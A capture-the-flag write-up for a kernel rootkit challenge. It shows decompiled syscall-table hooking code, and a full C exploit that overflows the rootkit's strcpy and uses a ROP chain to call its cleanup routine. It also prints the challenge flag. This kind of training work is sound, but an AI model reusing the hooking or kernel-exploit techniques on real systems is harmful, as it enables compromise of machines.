TL;DR
Kernel rootkit hides ecsc_flag_* files but has a buffer overflow in its strcpy(). Create a super long filename to overflow the buffer β control RIP β call cleanup_module() to restore original syscalls β profit! π±
Challenge Files: Kernel module (rootkit)
Note: This is my first CTF writeup! At the time I solved this challenge, I was just starting out with heap exploitation. There are probably cleaner/simpler ways to solve this, but this approach worked for me. If you spot improvements, feel free to share! π
Challenge Overview
We’re dealing with a machine infected by the “Hello Rootkitty” rootkit. Some files are hidden and we need to recover their contents. What we know:
- Certain files can’t be read
- A kernel module is intercepting syscalls
- Files starting with
ecsc_flag_*are affected
Rootkit Analysis
How it works
The rootkit hooks three key syscalls:
getdents- List directory entries (32-bit)getdents64- List directory entries (64-bit)lstat- Get file status
Hiding mechanism:
// When listing directories, any file starting with "ecsc_flag_"
// gets its name replaced with "ecsc_flag_XXXX..."
// Example: ecsc_flag_secret123 β ecsc_flag_XXXXXXXXXXX
The length stays the same though - that’s our first hint! π
Key Functions
Looking at the decompiled code:
1. Hook installation (ecsc_start):
int64_t ecsc_start() {
// Get syscall table address
uint64_t rax = kallsyms_lookup_name("sys_call_table");
my_sys_call_table = rax;
// Disable write protection
uint64_t rdx = __mov_cr_gpr64_cr(cr0);
original_cr0 = rdx;
__mov_cr_cr_gpr64(rdx & 0xfffffffffffeffff);
// Hook getdents64 (offset 0x6c8)
ref_sys_getdents64 = *(rax + 0x6c8);
*(rax + 0x6c8) = ecsc_sys_getdents64;
// Hook getdents (offset 0x270)
ref_sys_getdents = *(rax + 0x270);
*(rax + 0x270) = ecsc_sys_getdents;
// Hook lstat (offset 0x30)
ref_sys_lstat = *(rax + 0x30);
*(rax + 0x30) = ecsc_sys_lstat;
// Re-enable write protection
__mov_cr_cr_gpr64(rdx);
return 0;
}
2. Cleanup function (cleanup_module):
int64_t cleanup_module() {
// Disable write protection
__mov_cr_cr_gpr64(original_cr0 & 0xfffffffffffeffff);
// Restore original syscalls
*(my_sys_call_table + 0x6c8) = ref_sys_getdents64;
*(my_sys_call_table + 0x270) = ref_sys_getdents;
*(my_sys_call_table + 0x30) = ref_sys_lstat;
// Re-enable write protection
__mov_cr_cr_gpr64(original_cr0);
return msleep(0x7d0);
}
This function is gold! It restores everything. If we can call it, the files become visible again. π‘
Vulnerabilities
1. Buffer Overflow π¨
In ecsc_sys_getdents64 and ecsc_sys_getdents:
void var_70; // Local buffer - fixed size
strcpy(&var_70, rbx + 0x13); // NO length check!
The bug:
- Copies filename without checking length
- Stack buffer is limited
- Long filenames overflow the buffer
- We can control the return address (RIP)!
2. Direct Access Still Works
The rootkit only hooks directory listing functions. Direct access with open(), read(), or stat() works fine if you know the exact filename!
3. Cleanup Function Available
The cleanup_module() function at 0x004003f0 can restore everything. We just need to call it somehow…
Exploitation Strategy
Step 1: Trigger the Crash
Create a file with a super long name starting with ecsc_flag_:
touch ecsc_flag_aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
ls /mnt/share/
Result:
general protection fault: 0000 [#1] NOPTI
RIP: 0010:0x6163626161626261
Kernel panic - Fatal exception
Boom! We control RIP! π₯
Step 2: Calculate the Offset
Using cyclic from pwntools:
$ cyclic -l 0x6163626161626261
102
Offset to RIP = 102 bytes
Step 3: Get Kernel Addresses
Kernel addresses change due to KASLR, so we need to read them dynamically:
$ cat /proc/kallsyms | grep cleanup_module
ffffffffc020036e t cleanup_module
$ cat /proc/kallsyms | grep sys_exit
ffffffffaf63a390 T sys_exit
Why two addresses?
cleanup_module()- Restores original syscallssys_exit()- Clean exit from kernel space
Step 4: Build the ROP Chain
Our payload structure:
"ecsc_flag_" + [102 bytes padding] + [cleanup_module addr] + [sys_exit addr]
What happens:
- Buffer overflows into return address
- Function returns to
cleanup_module() - Syscalls are restored
- Execution continues to
sys_exit() - Files become visible! π
The Exploit
Why Dynamic Address Resolution?
KASLR (Kernel Address Space Layout Randomization) randomizes addresses on each boot. Hardcoded addresses fail every time. We MUST read from /proc/kallsyms at runtime!
Full Exploit Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>
#define PAYLOAD_OFFSET 102
// Parse /proc/kallsyms to find kernel symbol addresses
unsigned long get_kernel_symbol(const char *symbol) {
FILE *f;
char line[256];
char sym[128];
unsigned long addr = 0;
f = fopen("/proc/kallsyms", "r");
if (!f) {
perror("fopen /proc/kallsyms");
return 0;
}
// Format: <address> <type> <symbol>
// Example: ffffffffc020036e t cleanup_module
while (fgets(line, sizeof(line), f)) {
if (sscanf(line, "%lx %*c %s", &addr, sym) == 2) {
if (strcmp(sym, symbol) == 0) {
fclose(f);
return addr;
}
}
}
fclose(f);
return 0;
}
int main(int argc, char **argv) {
char exploit_filename[512];
char buffer[1024];
int fd;
unsigned long cleanup_addr, exit_addr;
printf("[*] Reading /proc/kallsyms...\n");
// Get cleanup_module address
cleanup_addr = get_kernel_symbol("cleanup_module");
if (!cleanup_addr) {
fprintf(stderr, "[-] Could not find cleanup_module\n");
return 1;
}
printf("[+] cleanup_module @ 0x%lx\n", cleanup_addr);
// Get sys_exit address
exit_addr = get_kernel_symbol("sys_exit");
if (!exit_addr) {
fprintf(stderr, "[-] Could not find sys_exit\n");
return 1;
}
printf("[+] sys_exit @ 0x%lx\n", exit_addr);
// Build the payload
memset(exploit_filename, 0, sizeof(exploit_filename));
strcpy(exploit_filename, "ecsc_flag_");
// Fill with padding up to RIP offset
memset(exploit_filename + 10, 'A', PAYLOAD_OFFSET);
// ROP chain: cleanup_module + sys_exit (little-endian!)
memcpy(exploit_filename + 10 + PAYLOAD_OFFSET, &cleanup_addr, 8);
memcpy(exploit_filename + 10 + PAYLOAD_OFFSET + 8, &exit_addr, 8);
printf("[+] Creating exploit file...\n");
FILE *f = fopen(exploit_filename, "w");
if (!f) {
perror("fopen");
return 1;
}
fclose(f);
printf("[+] Triggering rootkit via getdents...\n");
// Open current directory and list it - this triggers the hooked syscall
fd = open(".", O_RDONLY | O_DIRECTORY);
if (fd < 0) {
perror("open");
return 1;
}
// This syscall will hit our exploit
syscall(SYS_getdents, fd, buffer, sizeof(buffer));
close(fd);
printf("[+] Rootkit disabled! Listing secret files:\n");
system("ls -la ecsc_flag_* 2>/dev/null");
printf("\n[+] File contents:\n");
system("cat ecsc_flag_* 2>/dev/null");
return 0;
}
Compilation & Execution
$ gcc -o exploit exploit.c
$ ./exploit
Why This Works
Key success factors:
- Dynamic address resolution - Reads
/proc/kallsymsat runtime to defeat KASLR - Little-endian format - Addresses are copied correctly with
memcpy() - ROP chain order -
cleanup_moduleTHENsys_exit - Triggering mechanism - Using
getdentssyscall to hit the hooked function
Execution Flow
ββββββββββββββββββββ
β Create long β touch ecsc_flag_AAAA...[ROP chain]
β filename β
ββββββββββ¬ββββββββββ
β
βΌ
ββββββββββββββββββββ
β List directory β syscall(SYS_getdents, ...)
β (triggers hook) β
ββββββββββ¬ββββββββββ
β
βΌ
ββββββββββββββββββββ
β Hooked function β ecsc_sys_getdents() called
β processes entry β
ββββββββββ¬ββββββββββ
β
βΌ
ββββββββββββββββββββ
β strcpy overflow β Copies long filename β buffer overflow
β π₯ RIP control β
ββββββββββ¬ββββββββββ
β
βΌ
ββββββββββββββββββββ
β cleanup_module() β Restores original syscalls
β executed β
ββββββββββ¬ββββββββββ
β
βΌ
ββββββββββββββββββββ
β sys_exit() β Clean kernel exit
β executed β
ββββββββββ¬ββββββββββ
β
βΌ
ββββββββββββββββββββ
β Files visible! β Rootkit disabled
β π β
ββββββββββββββββββββ
Successful Exploitation
Execution Output
$ ./exploit
[*] Reading /proc/kallsyms...
[+] cleanup_module @ 0xffffffffc030c36e
[+] sys_exit @ 0xffffffffa263a390
[+] Creating exploit file...
[+] Triggering rootkit via getdents...
[+] Rootkit disabled! Listing secret files:
-rw-r--r-- 1 user user 65 Jan 1 12:00 ecsc_flag_cf785ee0b5944f93dd09bf1b1b2c6da7fadada8e4d325a804d1dde2116676126
[+] File contents:
ECSC{c0d801fb2045ddb0ab27766e52b7654ccde41b5fc00d07fa908fefa30b45b8a5}
Lessons Learned
Kernel exploitation techniques:
- Syscall hooking - Rootkits intercept system calls by modifying the syscall table
- Buffer overflow in kernel space - Just like userland, but scarier (kernel panics!)
- Ret2win in kernel space
Key insights:
- Kernel bugs are powerful - direct system control
- KASLR is standard - dynamic address resolution is essential
- Buffer overflows exist everywhere - even in kernel code
- Rootkit functionality can be turned against itself
Flag
ECSC{c0d801fb2045ddb0ab27766e52b7654ccde41b5fc00d07fa908fefa30b45b8a5}